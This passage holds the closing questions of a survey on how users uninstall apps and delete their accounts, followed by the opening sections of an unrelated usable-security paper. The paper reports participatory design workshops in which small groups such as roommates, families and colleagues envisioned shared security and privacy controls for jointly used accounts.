more than the number of apps (more than 20).

12. Which of the following are your reasons for uninstalling an app?

(multi-select)

(a) The app is used once or twice and may no longer be used again,

so I uninstalled it. (b) Although the app is not often used, it could be

used again. So, I uninstall it temporarily.

13. (If Q12. (a) is selected, answer this question) What do you do

before uninstalling apps that you will not use again?

(a) Do nothing, uninstall directly. (b) Logout the account and then

uninstall the app. (c) Delete the account and then uninstall the app.

14. Do you know what will happen if you do not delete your account

in time for the app that you will no longer use doubtlessly?

(a) I have no idea. There is no risk in not deleting idle accounts. (b)

There may be some risks, but I have not encountered them. (c) I

experienced some trouble.([free text]) (d) I’ve heard of cases about

that. ([free text])

15. For apps that have not been used for a long time or even never

be used again, do you want the app vendor to continue storing and

using your personal information they have collected? (For example,

an app may collect your phone number, email address, and other

activities for their services.)

(a) No, I don’t want my personal information to be used

when I stop using the app. (b) Yes, the manufacturer can use

my personal information at any time even if I no longer use the

app. (c) It doesn’t matter. I don’t care about my personal information.

Part 2: Practice of the account deletion today
16. Have you ever tried/thought of deleting an app account? Did you

complete the deletion process?

(a) I have tried and successfully deleted my account. (b) I tried, but I

couldn’t delete my account for some reasons. (c) I have never tried

to delete my account before.

17. (If Q16. (b) is selected, answer this question) Why did you fail

to complete the account deletion? (multi-select)

(a) I don’t know how to delete my account or cannot find the entry.

(b) There are too many steps to delete the account, so I give up. (c) I

don’t understand the deletion instructions. (d) The account does not

meet the deletion criteria. (e) I suddenly regret during the account

deletion process (f) Other reasons ([free text])

18. (If Q16. (c) is selected, answer this question) Why haven’t you

tried deleting your accounts? (multi-select)

(a) I never consider deleting the accounts (For the apps I no longer

use, I uninstall them directly.) (b) I have once considered deleting

the accounts, but I think it is unnecessary (it doesn’t matter to me

whether I delete my account or not.) (c) There has never been a

scenario where I need to delete the accounts (apps that have been

downloaded and the accounts are all still in active use) (d) Other

reasons ([free text])

19. (If Q16. (a) is selected, answer the following three questions:

Q19-Q21) What kind of apps did you try to delete? And what is

the deletion scenario? (Scenario A: the app(s) is no longer used.

Scenario B: I abandon this account but may register another new

account later.) (multi-select)

(a)Business Apps ([free text]) (b)Communication Apps ([free text])

(c)Education Apps ([free text]) (d)Entertainment Apps ([free text])

(e)Finance Apps ([free text]) (f)News Apps ([free text]) (g)Social

Apps ([free text]) (h)Shopping Apps ([free text]) (i)Music and Audio

Apps ([free text]) (g)Travel Apps ([free text]) (k)Sports Apps ([free

text]) (l)Game Apps ([free text]) (m)Food&Drink Apps ([free text])

20. What’s your reason for account deletion? Please write down the

reason in the blank according to the type of app (Option depends on

the choice of Q19 along with the free text).

Following are some possible reasons you can refer to: A. Delete

the using history and memories contained in the account. B. The

Account is hacked. C. The app has an awful design. D. I don’t want

to continue exposing my privacy.

21. Is there any inconvenience in the process of account deletion?

(multi-select)

(a) No, there is nothing inconvenient about it. (b) The deletion de-

scription is too complicated to understand. (c)The deletion entry is

hard to find. (d)The deletion procedure is too complicated. (e)The

deletion preconditions are too strict. (f)The deletion cannot be com-

pleted immediately (g)Other ([free text])

22. Have you read the privacy policy?

(a) Never read (b) Take a glance (1-3 minutes) (c) Read some parts

carefully (about 10 minutes) (d) Read thoroughly and very carefully

(more than 30 minutes)

23. (If Q22. (a) is not selected, answer this question) Have you read

the instructions related to the account deletion in the privacy policy?

(a) I tried to read it but the privacy policy does not contain such
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part. (b) I’ve never read it before. (c) I read this part when I want to

find something about account deletion. (d) I read it thoroughly and

carefully.

24. Have you ever encountered the following situation in your life:

when you download and register an app for the first time, you find

that your mobile phone number has been registered.

(a) No, I never meet. (b) Yes, I have experienced the situation. ([free

text]) (c) I’ve heard of such a problem from people around. ([free

text])

25. Which of the following statements is consistent with your under-

standing of the account deletion choice? (multi-select)

(a) Account deletion is a way for users to exercise the right to be

forgotten/deleted. (b) The app’s authorization of gathering user infor-

mation will be automatically revoked. (c) The app will stop providing

products or services to the user of this account. (d) The app will stop

collecting the personal information of the user corresponding to this

account. (e)The app will delete or anonymize the personal informa-

tion provided by the user. (f) The app will notify the data sharing

party to delete relevant information of this account. (g) Account

deletion is irreversible. Deleted information cannot be restored. (h)

You will no longer receive any marketing information related to this

app. (i) Users are not responsible for their actions before account

deletion. (j) Others ([free text])

26. (For the U.S. only) Which of the following statements is con-

sistent with your understanding of the account deactivation? (multi-

select)

(a) Account deactivation is a way for users to exercise the right to be

forgotten/deleted. (b) Account deactivation is a pre-procedure for

deleting an account. (c) Account deactivation can be applied for

separately and is not conflicted with account deletion. (d) Account

deactivation is the same as account deletion, deactivation is another

name for deletion. (e) I have no idea about that.

Part 3: Users’ expectations for account deletion
27. Which of the following information do you expect to be deleted

by the vendor after account deletion? (multi-select)

(a) Published articles and comments, etc. [Published information] (b)

Nickname, profile photo, personality settings, friends list, etc. [Ac-

count information] (c) Phone number, ID number, email address, etc.

[Authentication information] (d) Name, address, occupation, photos,

etc. [Personal information] (e) MAC address, device ID, and IP ad-

dress, etc. [Device information] (f) Browsing and searching history,

etc. [History information] (g) Membership, reward points, virtual

currency, etc. [Membership benefits] (h) Payment records, transfer

records, order history, credit records, etc. [Financial information]

(i) Information obtained from third parties [Information from third

parties] (j) Information shared with the third parties [Information

shared with third parties]

28. After you have deleted your previous account, do you expect to

keep the ability to register a new account using the original login

credentials? For example, you can register a new account using the

same mobile number again after account deletion.

(a) Yes, I hope that I can immediately register a new account. (b) Yes,

I hope that the new account can have the same username as the old

one, but there is no previous information in that account. (c) Yes, I

hope that the new account is still the old one and all the information

about the account is kept. (d) No, I hope the original login credential

can no longer register any new accounts. (e) No, I hope that I can

register a new account but after deleting the previous account for a

period of time.

29. How long do you expect the app vendor to completely delete all

your personal information (except those required to be retained by

law) after you apply for the account deletion?

(a) Immediately (b) Within a day (c) Within 3 days (d) Within 5 days

(e) Within 7 days (f) Within 15 days (g) Within 30 days (h) Within

60 days (i) Others ([free text])

30. (If Q29. (a) is not selected, answer the following two questions:

Q30, Q31) Do you want to take the initiative to withdraw the deletion

after you apply for an account deletion?

(a) I hope that it can be withdrawn to prevent regret (b) I don’t want

to be able to withdraw the deletion. Please delete the account as soon

as possible. (c) It doesn’t matter. I don’t care about that.

31. After applying for account deletion, the information may not be

deleted immediately as you expect. During this time, do you want to

use the account as usual?

(a) I hope that the account cannot be used after I delete the account.

(b) I hope to continue using the account normally before the manu-

facturer fully deletes my account information. (c) It doesn’t matter. I

don’t care about that.

32. After the account is completely deleted, do you think it is neces-

sary to inform you of the account status by SMS or email?

(a) Yes, it can let me know that my account has been deleted. (b) No,

I don’t care whether I finish deleting my account or not. (c) Others

([free text])

33. How do you expect the app vendor to handle your personal

information after account deletion? Delete or anonymize?

(a) Only physical deletion can be accepted. Other methods are not

secure and can be recovered possibly. (b)Anonymization is different

from physical deletion, but it is enough to ensure the anonymity of

personal information (c) It doesn’t matter. They work the same way,

either is fine.

34. (For the U.S. only) Which of the following deletion methods do

you prefer? (sort the items)

(a) Click account deletion options directly in the app and complete

the deletion process within the app. (b) Click the account deletion

link in the app and jump to the website through the browser in the

mobile phone. (c) Users need to access the website to complete

the whole account deletion process. (d) Users need to contact the

customer service and propose their account deletion request.

35.If you do not login an account for a long time (e.g., more than

one year), the vendor may delete your account automatically to save

server resources without your voluntary permission (They may send

a notification email before deleting the account). How do you like

this “the automatic account recycles”? (5 for the most satisfaction)

36. Do you have any suggestions about the "account deletion"? ([free

text])

37. How seriously did you complete the questionnaire? (5 for the

most serious)
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Abstract
Digital resources (streaming services, banking accounts, col-
laborative documents, etc.) are commonly shared among
small, social groups. Yet, the security and privacy (S&P) con-
trols for these resources map poorly onto the reality of shared
access and ownership (e.g., one shared Netflix password for
roommates). One challenge is that the design space for social
S&P controls remains unclear. We bridged this gap by engag-
ing end-users in participatory design workshops to envision
social solutions to S&P challenges common to their groups.
In analyzing the generated ideas and group discussions, we
identified four design considerations salient to social S&P
controls: social transparency; structures of governance; stakes
and responsibility; and, promoting pro-group S&P behaviors.
Additionally, we discovered trade-offs and challenges that
arise when designing social S&P controls: balancing group
security versus individual privacy; combating social friction;
mitigating social herding behaviors; and, minimizing coordi-
nation costs.

1 Introduction

Many digital resources — valuable, computationally accessi-
ble devices and accounts — are collectively owned or shared
by small groups of socially-connected individuals [52] (e.g.,
Netflix accounts shared among friends, bank accounts shared
among families, documents shared among colleagues). These
shared digital resources are increasingly abundant, and must
be secured in a manner that preserves access to individuals
in the group while also preventing access to those outside of
the group. While a simple design constraint in theory, prior
work suggests that many social groups have trouble negoti-
ating this trade-off with existing security and privacy (S&P)
controls [5, 19, 34, 44, 52].

The emerging discipline of social cybersecurity suggests
that part of the challenge is that existing S&P controls are non-
social: they are designed for individual use and often assume
digital resources are owned by individuals [6, 11–14]. Based

on this prior work, we hypothesized that it should be possible
to create social S&P controls for shared digital resources that
better map onto models of collective ownership and access.
However, the design space of such social S&P controls for
shared digital resources remains unclear. Our research aims to
develop this design space from the perspective of the end-user
by addressing the following research questions:

• RQ1: What are the key design dimensions for im-
plementing social S&P controls for shared digital re-
sources?

• RQ2: What are the trade-offs between these design di-
mensions and how might these trade-offs introduce new
challenges?

To answer these questions, we conducted in-person1 partici-
patory design workshops with 11 groups of 3-5 participants (n
= 43), each tasked with imagining novel social S&P controls
for shared digital resources. Participants were assigned to a
social group that aligned with the type they share resources
with in their personal lives (e.g., roommates). Most groups in-
cluded at least one individual with prior experience in design
or engineering. We observed what S&P and social needs these
participant groups deemed important and what trade-offs they
were willing to make to meet those needs. We qualitatively
analyzed the observations, prototypes, and exit surveys results
through an iterative coding process. Importantly, our goal was
to use the ideas generated by participants as lenses to under-
stand desirable properties for social S&P controls — thus, we
do not espouse or specifically recommend any individual idea
generated by our participant groups.

We found four key design dimensions to consider for social
S&P controls for shared digital resources: social transparency,
or the ability for the group to observe and monitor individ-
ual group members’ actions; structures of governance, or
how groups collectively make S&P-relevant decisions about a

1These sessions occurred in the U.S. in Jan/Feb 2020, before remote
participation recommendations were instituted as a result of the COVID-19
pandemic.
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Figure 1: The design space of social cybersecurity and privacy controls for shared digital resources we uncovered in our study.
We identified four key design dimensions and intersecting trade-offs.

shared digital resource; stakes and responsibility, or methods
to fairly distribute responsibility for the S&P of the shared
resource; and, promotion of pro-group S&P behaviors, or
methods to incentivize behaviors beneficial to group S&P
(and to punish poor ones).

We also identified trade-offs that arose between these di-
mensions when designing social S&P controls for shared
digital resources. These trade-offs included: balancing an in-
dividual’s desire for privacy against the group’s desire for
social transparency; mitigating herding behavior; alleviating
social friction; and, accounting for coordination costs.

We conclude by reflecting on the ideas participants gen-
erated, the relationship between group type and the design
dimensions we uncovered, the need to anticipate issues with
access and power, and the feasibility of implementing ideas
for social S&P controls using existing technologies.

2 Related Work

Our work is informed by and extends a number of open
threads of research spanning social cybersecurity theory and
systems, as well as participatory design jams as a research
method.

2.1 Social S&P for Shared Digital Resources

Ackerman [1] argued that there is a social-technical gap be-
tween what is technically feasible and what is socially re-
quired of social computing systems. As an example, he cited
the Platform for Privacy Preferences (P3P), contending that
the privacy controls afforded by P3P did not adequately sup-
port the social nuance necessary in online content sharing.

This social-technical gap is still evident in many modern end-
user S&P controls [52].

DiGoia and Dourish [17] proposed “social navigation” as
a model for usable security, in which they proposed a user
interface design in which users would see implicit social sig-
nals of how others have configured their S&P controls. Singh
et al. [43] explored households’ password sharing practices
for bank accounts, finding that the practice was commonplace
despite being discouraged, and argued for more social design
in password systems. Watson et al. interviewed nine small
social groups to explore how S&P groups navigated securing
shared resources [52]. They found that strategies for securing
shared resources were often implicit and unspoken. In turn,
they found that the lack of technical infrastructure to support
shared decision making, oversight, and enforcement strategies
could lead to frustration, inequity, and ineffectiveness.

Following a series of empirical results exploring the rela-
tionship between social influence and end-user S&P behav-
iors [11–14,16], Das introduced the concepts of observability,
cooperation and, stewardship as social dimensions relevant to
the design of effective social S&P systems [10]. Observable
S&P systems should be visible to selected others to encourage
social proof. Cooperative S&P systems should enlist collec-
tives acting in concert for mutual S&P benefit. Stewarded
S&P systems allow individuals to act on behalf of and/or in
benefit to others [10].

Some prior work has also explored designing, implement-
ing, and evaluating such systems. For example, Toomim et
al. proposed a novel social access control mechanism for on-
line photos that afforded access to potential viewers based
on shared social knowledge [49]. Egelman et al. explored
“Family Accounts,” or shared accounts that all members of a
family could utilize to access shared resources on a collec-
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tively owned computer [19]. Das et al. introduced Thumprint,
a social authentication mechanism that authenticates and
identifies individual group members through a shared secret
knock [15].

Although tools have been implemented for specific S&P
scenarios, the foundational design dimensions have not yet
been formally explored and the dangers of group-based in-
formation management are still present. Similar to Lampinen
et al.’s research on Social Network Systems, users of shared
digital resources cannot control what other group members
disclose about their shared space and this sets up a challenge
for introducing preventative measures for managing sensitive
information disclosure [28].

In sum, these prior works motivate the need for more pri-
vacy and cybersecurity design considerations when creating
such systems for shared digital resources. We contribute to
this thread of research by addressing the call for formally
exploring the design space of social cybersecurity systems for
digital resources shared by small, social groups.

2.2 Group Sharing of Digital Resources

Prior studies have modeled the sharing of digital resources
and resources between individuals. Whitty et al. investigated
individuals sharing passwords and found that younger people
share passwords more often than older people and that perse-
verance was a significant factor in sharing impulsively [54].
Kaye found that people regularly share passwords within their
socially connected groups [26]

Previous work has recognized major themes relating to
how and what technology is shared by different social groups,
specifically among family, colleagues, and romantic partners.
With families, studies focus on privacy concerns over per-
sonalized sharing due to the higher levels of trust between
members [5]. Mateas et al. discovered domestic ubiquitous
computing technology is usually found in a shared space
like a family room and kitchen as opposed to a more remote
area such as a workspace [32]. Additionally, Matthews et
al. discovered household members would commonly share
accounts, devices, and even mobile phones due to mutual
need, limited resources, and convenience despite the fact that
these devices were considered “personal” [33]. On the other
hand, research shows coworkers are strongly affected by au-
tonomy when sharing resources [27, 37]. A perceived level
of self-efficacy improves knowledge sharing behaviors in
salespeople-coworker relationships and affects employee task
performance. With romantic relationships, the types of digital
resources shared evolves as the relationship evolves [40] with
Jacob et al. classifying this information into public, tailored
and personal content [24]

Different social groups will differ in expectations with re-
spect to securing sharing digital resources. Our work models
how sharing practices in different social groups affects prefer-
ences for social S&P controls for shared digital resources.

2.3 Participatory Design Jams

The inclusion of prospective users into the design process can
help bridge the knowledge gap between designers and end-
users [4, 38]. In design jams, participants engage in acts of
making, storytelling, and enacting to imagine a desired future
practice [4]. Design jams are used to various ends, including
product idea innovation [25,31], internal problem solving [8],
design pedagogy [45, 51], and as a research methodology
[2, 30, 36, 39, 42]. One of the main objectives of a design jam
is to engender design representations—such as mockups and
storyboards—that help participants communicate their ideas
in a concrete manner [50].

Recent studies have leveraged participatory frameworks
for usable security and privacy design. Mir et al. demonstrate
how a participatory framework can be used to enable vulnera-
ble communities to articulate their concerns and expectations
around privacy and data use [38]. Chouhan et al. conducted
participatory design jam-esque activities in which participant
groups prototyped ideas to better inform individual S&P de-
cisions and behaviors as a form of community oversight [6].
More broadly, end-user participation has been noted to be
valuable in the development process for groupware (i.e. appli-
cations to support group work [41]).

Our research aims to address fundamental design questions
for building usable social cybersecurity systems. Stolterman
found at human–computer interaction (HCI) conferences, de-
signs of new forms of interactivity are usually based on earlier
conceptual evaluations exploring a concept-driven approach
with a focus on theoretical improvements [47]. It’s also im-
portant to understand how non-experts design for themselves
in order to guide designers into building accessible and robust
solutions. Yang et al. describes design implications for build-
ing ML tools grounded in non-experts as sensitizing concepts,
which provide possibilities for a new design space and offers
a starting place for future design innovation [55]. Our design
jams also yield several design implications for future small
group cybersecurity controls.

3 Methodology

In our study, we used participatory design jams to elicit the
social and contextual considerations that small, social groups
find important in securing shared digital resources, as demon-
strated through the ideas participants generated. We elected to
use participatory design jams to elicit these ideas from partici-
pants as opposed to, e.g., interviews or questionnaires, so that
participants could collaboratively think through, refine and
discuss their ideas in the process of operationalizing how the
idea might work in practice. As has been argued by prior work,
the mere act of design can synthesize otherwise inaccessible
knowledge [58]. Moreover, by recruiting both participants
with design knowledge and those with experiential knowledge
(i.e., those who navigate securing shared resources in small,
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social groups in their real lives), we ensured that both tech-
nical expertise and lived end-user experiences were factored
into the conceptual ideas participants produced. Nevertheless,
given the rushed nature of the task, we emphasize that the
specific concept designs presented are not our contribution
— our contribution, rather, is an intellectual analysis of the
concept designs produced in order to synthesize high-level
design considerations, and the trade-offs therein, for social
S&P controls for small groups.

3.1 Recruitment, Ethics & Compensation
We recruited people for in-person participatory design jam
workshops through a combination of online advertisements
(using Nextdoor, Slack, and Craigslist) and posting flyers
around a metropolitan area in the Southeast United States. To
ensure that our participant pool had a baseline level of familiar-
ity with the problem space, we required potential participants
to have either shared a digital protected resource in a small
socially group (colleagues, roommates, family, or friends) or
self-identify as a designer and/or developer. We verified el-
igibility through an online screening survey. The extent of
security expertise was not screened as we intended to explore
the design space for everyday users and not specifically se-
curity experts. Designers and developers were recruited for
design jams to stay focused and groups would have baseline
design process experience. Our protocol was reviewed and
approved by an Institutional Review Board.Each participant
signed a group image license form along with a consent form
informing them about the data collected and how it would be
used. Participants received $25 in compensation in addition
to snacks during the session.

3.2 Participants & Group Assignment
We recruited 43 participants2 split across the four in-person
workshops. Participants were aged 18 to 54 years old, in-
cluded more males (60%) than females (40%) and identified
as Asian - 40%, White - 27.9%, Black - 20.9%, Hispanic or
Latino - 2%, Other - 2%, Preferred not to say - 7%. Education
level was varied with High School - 5%, Some College - 37%,
Bachelors - 19%, Masters - 30%, Postgraduate - 5%, Profes-
sional - 5%. To ensure participant groups had the necessary
experience and expertise to engage meaningfully in the design
jam, each group consisted of at least one self-identified de-
signer or developer3. Moreover, participants were assigned to
their self-identified social group from their screening survey
as closely as possible (e.g., people who reported sharing digi-
tal resources with roommates were assigned to the roommate
group in the design jam). However, some participants may
have been assigned to a different social group. Group types
are detailed in Table 1.

2Participant demographics are further detailed in the appendix
3Two groups did not have a designer or developer

Group Group Type N

A Family 4
B Roommates 4
C Friends 3
D Roommates 3
E Colleagues 3
F Roommates 4
G Colleagues 4
H Family 4
I Colleagues 4
J Family 5
K Friends 5

Table 1: Group Types (N = 43). Each workshop had 3-4
groups, each representing a type a socially connected group,
and consisted of 3-5 participants per group

3.3 Procedure

We video recorded and transcribed the workshops, each of
which lasted around 120 minutes, including a break, and con-
sisted of five phases.

Orientation (15 min.) Three researchers moderated the de-
sign jam session. They started by asking participants’ how
they shared and secured their shared digital resources to get
participants thinking about security. Because the design jam
was centered around everyday use cases, the participants were
not security experts. The researchers introduced core cyber-
security principles and encouraged them to think about ways
social influence (e.g., observability, inclusiveness and steward-
ship [10]) could affect their security behaviors. Additionally,
they were given an introduction to core S&P and social de-
sign principles (e.g., definitions of S&P, types of threats that
groups can encounter [52]) in order to establish a baseline
level of familiarity with the broader design space. The orien-
tation was meant to provide groups with a shared foundation
of terminology so that the conversation stayed focused and
non-experts could feel empowered to contribute. The specific
security principles explained can be found in the Appendix.
Participants were then introduced to their assigned social
group.

Brainstorming & Convergence (30 min.) Participants
next engaged in both independent and collaborative brain-
storming sessions as illustrated in Figure 2. Participants
started by independently brainstorming, on post-it notes, so-
cial S&P controls suited to their assigned social groups. We
then asked participants to come together as a group to discuss
their individual ideas and engage in session of collaborative
brainstorming. Groups voted on their best idea to prototype in
the next phase. During this phase, we used observation notes
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(a) individual brainstorming (b) group brainstorming on the wall (c) dot voting on favorite ideas

Figure 2: Brainstorming process: a) Participants were first guided in an individual brainstorming activity; b) groups then pooled
all of their individual ideas together, discussed them, and added any resulting new ideas; c) finally, each participant was given
three stickers to dot vote on their favorite idea.

and sticky notes to record each idea groups brainstormed as
well as intra-group discussions about their ideas.

Prototyping (30 min.) Third, each social group had 30 min-
utes to create a storyboard or low-fidelity prototype of the idea
they selected during the brainstorming session. To facilitate
this process, we provided participants with several drawing
mediums such as paper, markers, scissors etc. During this
phase, we recorded intra-group discussions on how to design
the storyboard or prototype.

Inter-group Presentation & Discussion (25 min.) Fourth,
the groups presented their finalized product to everyone in
the workshop. They described the problem scenario, which
S&P principles their final prototype focused on, and the sto-
ryboard or prototype itself. Following the presentations, par-
ticipants discussed and explored the design implications of
each group’s solution. During this phase, we video-recorded
the presentations and inter-group discussions on each group’s
final product.

Exit Survey (5 min.) Finally, participants filled out an in-
dividually administered exit survey, in which they described
which group’s solution within the workshop was most rele-
vant to their personal experience as well as what scenarios
they would use said idea.

3.4 Data Analysis

We analyzed the data produced—video transcripts of demos
and discussions, observation notes of brainstorming, and open-
ended responses to questions in the exit survey—using an
iterative, open coding process [7]. Two researchers jointly
open coded a subset of the data and created an initial set of
high level axial codes. Using these codes, they independently
coded all the data, including the initial subset. Finally the
researchers jointly iterated on their independent code assign-
ments and resolved disagreements through discussion until
they had the final codebook. This codebook was grouped into
the larger themes we discuss in our results. We did not calcu-
late inter-rater reliability (IRR) as recent work suggests that
IRR can be detrimental to work in which code generation is a
part of the analysis (as was the case in this work) [35].

The objective of our analysis was to use the ideas generated
by participants as lenses to understand desirable properties
for social S&P controls and the trade-offs therein. Thus, it is
important to note that we do not necessarily recommend any
individual idea generated by our participant groups — some
of the generated ideas may be ill-considered if implemented.
However, the act of instantiating ideas (e.g., through build-
ing prototypes, storyboards, and co-design) can synthesize
generalizable design knowledge [58] — we consider this syn-
thesis, and not the specific ideas, to be our core intellectual
contribution.
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4 Results

We uncovered four key design dimensions to consider in so-
cial S&P controls for shared digital resources, along with four
key trade-offs and challenges that arise in considering these
design dimensions. We provide a broad overview of how dif-
ferent group types embodied different design considerations
in their final prototypes in Figure 3. Table 2 lists and describes
the final prototype produced by each group. As a reminder, we
do not necessarily recommend that these specific ideas be im-
plemented — rather, we use the ideas participants generated
as lenses through which we might uncover desirable design
dimensions and properties for social S&P controls from the
end-user perspective.

4.1 RQ1. Key Design Dimensions for Social
S&P Controls

4.1.1 Social Transparency

The first design consideration is increased social transparency;
that is, the ability to know what others in the group are doing
or have done with the shared digital resource.

The need for social transparency is a finding that expands
on a rich body of research in CSCW calling for socially
translucent systems (i.e., mechanisms that “support coher-
ent behavior by making participants and their activities vis-
ible to one another”) [22, 48, 52] and observability in social
cybersecurity [13]. However, social transparency is rarely con-
sidered in the design of S&P controls — even for systems
and resources that are commonly shared. Our results provide
compelling evidence that it is time to strengthen the bridge
between CSCW systems design and usable S&P.

Erickson et al. define three properties of socially translucent
systems: visibility, awareness, and accountability. Participants
leveraged visibility most when designing their social S&P
controls.

Visibility Visibility describes the extent to which one can
readily perceive socially significant information. Participant
groups most frequently suggested ideas that would allow them
to perceive other group members’ account activity. Ideas in-
cluded real-time notifications of shared usage (e.g., group
members’ login attempts, downloads, purchases, transactions,
passwords changes, account settings changes) and revision
histories.

These systems were also sometimes envisioned to detect
and report group behaviors that could be deemed problematic,
such as taking and forwarding screenshots of confidential
group information. Several groups described systems that
could auto-detect which group members’ activities posed sig-
nificant security threats and alerted other group members with
labels such as “pertinent” or “emergency.”

Many of the concerns supporting the need for visibility
arose out of concern for insider-facilitated outsider threats
[52], as demonstrated by Group B’s (Roommates) solution
that allows users to view a history of login attempts and their
originating devices: “You’d be able to say like, this was me or
us, or this wasn’t us...I guess it’s solving the issue when people
in a shared account give passwords out and they shouldn’t.”
(B3)

However, not all desires for visibility were fueled by precau-
tions of misconduct. Being able to see group members’ activ-
ity also served as a way to monitor and correct group members.
For instance, a member of Group J (Family) talked about how
“it could tell me...grandma downloaded 18 things.”(J2). In
this way, the participant envisions observing the missteps of
an inexperienced member and helping to correct them. This
also confirms prior work showing families are open to person-
alized sharing due to higher levels of trust [5].

At its root, the need for social transparency addresses the
loss of control a user may experience after sharing resource
access with other independent actors and compensates for this
by instituting hypervigilance.

4.1.2 Structures of Governance

The second design consideration was structures of governance
for shared S&P controls. We found that a group’s decision-
making reflected existing authoritative hierarchies. These hi-
erarchies manifested in how groups defined their relation-
ship dynamic or how members considered ownership of their
shared resources. These structures of governance fell into
one of two categories: egalitarian and hierarchical. While it
is perhaps unsurprising that different groups prefer different
structures of governance, we note that existing S&P controls
offer little support for modifying governance structures for
shared resources — the assumption is often that there is one
un-elected owner in charge (e.g., access control to photos on
Facebook), or that anyone with access has equal control (e.g.,
shared access to a Netflix account).

Egalitarian Governance In egalitarian governance, all
group members have equal power and say. Decisions regard-
ing security and access require either unanimity, a majority,
or any member to assent without giving any individual spe-
cial privileges. When asked if their group type influenced
their design, a participant from a roommate group responded,
“I would say yes, because everybody in our scenario is on
an equal playing field and they’re all coming together for a
shared goal” (D1). While other group types discussed ele-
ments of egalitarian structures during brainstorming, friends
and roommates prioritized this cooperation (i.e., inclusiveness,
as introduced by Das [10]) in their final prototypes (Groups
C, D, F, K).

Egalitarian governance fell into two different idea cate-
gories: group authentication and group approval. Group au-
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Figure 3: The different design dimensions incorporated into final ideas, organized by group type. * - the friend group type had
only two instances across workshops

thentication requires members to approve other members’ log-
ging into a resource, akin to two-factor authentication. Group
K’s final solution Trio used feature: “It’ll send notifications
– like a ...a two-factor notification – to all the other mem-
bers of the group and then at least one of them would have
to approve you and say you’re in” (K5). Meanwhile, group
approval requires acceptance from multiple members before
making changes to or sharing information from the shared
resource. For example, when demoing their solution ‘Fiing,’
Group D noted that members would need unanimous group
acceptance using fingerprint identification to make changes to
the shared resource.“Nothing can be done without the collec-
tive acceptance of everybody who is on that shared account
right within the app.” (D1).

Hierarchical Governance In hierarchical governance, se-
curity decisions are made by one or a few members who wield
more authority and privilege over the shared resource. There
is an implicit assumption that these decision-makers are ei-
ther more knowledgeable about security and/or technology,
more responsible, or are simply the owners of the resource
and hence take responsibility over its security.

Unsurprisingly, family scenarios tended to lean on hierar-
chical governance, where age and technology literacy were
more varied. Participants discussed having limited or reduced
capabilities for younger and older family members as a way to

reduce risk (e.g. using parental controls). Group H (Family)
even discussed age-related thresholds for completing pur-
chases: “So if you have like a teenager, you might want to set
it to 10 dollars” (H4). H4 also noted: “[An] accountability
keeper makes sense for a family. If you let everyone in a family
have equal access there is more likely there will be a security
breach.”

Requiring tighter security controls in a family structure
might also be attributed to the tendency for families to share
more valuable resources with each other. “If you talk about
families that are sharing cars and stuff I’m not just going
to let my friends willy-nilly drive my car...especially not my
coworkers.” (J4).

On the flip side, Group B (Roommates) noted that bearing
all the responsibility of ownership alone could be inconve-
nient for the owner. “What’ll make [our idea] easy is one
person...approving everything, and it’s also the same thing
that’ll make it hard...since it’s that same person that is ap-
proving everything and [they] can get kinda annoyed” (B2).

4.1.3 Stake and Responsibility

The third design consideration for small group S&P controls
was the idea that all group members should actively con-
tribute towards the management and upkeep of the group’s
S&P; in exchange, group members would be permitted to use
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Group Solution Description

A Family Communication Rotate responsibility of who is in charge of password changes. Use shared family
Google Drive and physical calendar to track passwords and who is in charge for the
month respectively. Passwords share a template that all members are aware of.

B Roommate Device Password App to manage access to shared resources. Members receive notification of unrecog-
nized device. Owner of resource can accept or decline. Login history available.

C Facebook Lockdown When a Facebook breach occurs on a group members account, friends are notified and
auto lockdown activated. Three-step biometric authentication required to re-verify.

D Fiing Mobile app through which you can register members sharing a particular resource.
App manages authentication into resource. Notifications when members try to make
S&P changes, and requires group approval.

E Sound Entry Members use voice recognition and location to authenticate into devices. Admin of
company adds new members (i.e. colleagues) to the group.

F Room Me Mobile app for managing shared resource S&P. RoomMe shows notification of all
activity. Security changes and strikes require unanimous approval from all members.
Strike system — three strikes = loss of membership.

G Security Karma System tracks members’ security practices and assigns a security score. Score can be
used on an individual or department level. Members can be rewarded (e.g., prizes) or
penalized (e.g., affect promotion) based on security score.

H JKRK Security App App for managing shared resources. Notifies members of security actions or issues.
Members have varying permissions within group. Authorizers for different accounts.
Thresholds for spending and permissions and vary per member. Purchases and
changes require approval from at least two members.

I Securiteam Tracks security practices and assigns a security score. Score can be used on an
individual or department level. Scores used for rewards / punishment (e.g., promotion,
bonus). Use leaderboard to drive competition to improve security behaviors.

J Famzees Family hub for managing resources. Includes chat, activity logging and security
alerts for suspicious activity. Only certain members have certain privileges. Parental
controls for younger and elder family members.

K Trio Group approval required for access into shared resource. Restricted 24 hour access if
no one is available to authenticate you.

Table 2: Each group’s final prototype design. Workshop 1 - Groups A & B, Workshop 2 - Groups C-E, Workshop 3 - Groups
F-H, Workshop 4 - Groups I-K

the resource. The requirement of group-beneficial labor as a
condition for access mimics strategies for securing shared re-
sources in the physical world — e.g., makerspaces often trade
privileged access to machines in exchange for volunteering
time to monitor the makerspace [29] — but is not consid-
ered in the design of existing S&P controls. Two strategies
emerged to implement this design consideration: (i) periodi-
cally rotating responsibilities amongst group members, and
(ii) collecting collateral to motivate members.

Rotating Responsibility Generally speaking, users view
S&P controls to be secondary concerns in their technology
use [18, 53]. As a result, S&P management within a small
group context is likely to go completely unnoticed by the
larger group, or worse, neglected entirely. Moreover, placing

the burden of managing a collectively shared resource on an
individual may be considered unfair.

To combat this, participants employed controls to equi-
tably distribute this workload. Group A’s solution (Family)
‘Family Communication,’ leverages a rotational management
schedule: “...We decided we would use basically routine and
rotation...so monthly or however they want to schedule, [the
password] would be changed by one of the family members
but it would be in order. So say it’s Mom would do it for this
month. Next up is brother and it goes into...a rotation.”

Equalizing power differentials was another reason to dis-
tribute the job. Group K (Friends) discussed rotating the role
of administrator such that “everybody gets to be responsible
in the group and, at the same time, only one person doesn’t
have all the power to make changes without notifying anyone”
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(K2). Erez et al.’s prior work in shared leadership supports
this notion, which found that the effects of rotated leadership
on self-managed teams were positive, yielding “higher levels
of voice and cooperation...appear[ing] to translate into higher
levels of team performance” [21].

Collecting Collateral Similarly, groups also thought the
use of collateral might improve individual responsibility in
upholding S&P standards. By collateral, we are referring to
a retainer collected from all group members in exchange for
access to the shared resource. Participants reasoned that group
members might take S&P more seriously if the stakes were
high. For instance, during brainstorming F4 asked whether
roommates might “take more initiative” if their own personal
information were at stake. This query implies that users recog-
nize the imbalance of effort inherent in some group scenarios.

Collateral appeared to serve as a deposit and as a form of
mutual liability. In Group F’s solution, subscription payments
are automatically deducted from each member’s credit card,
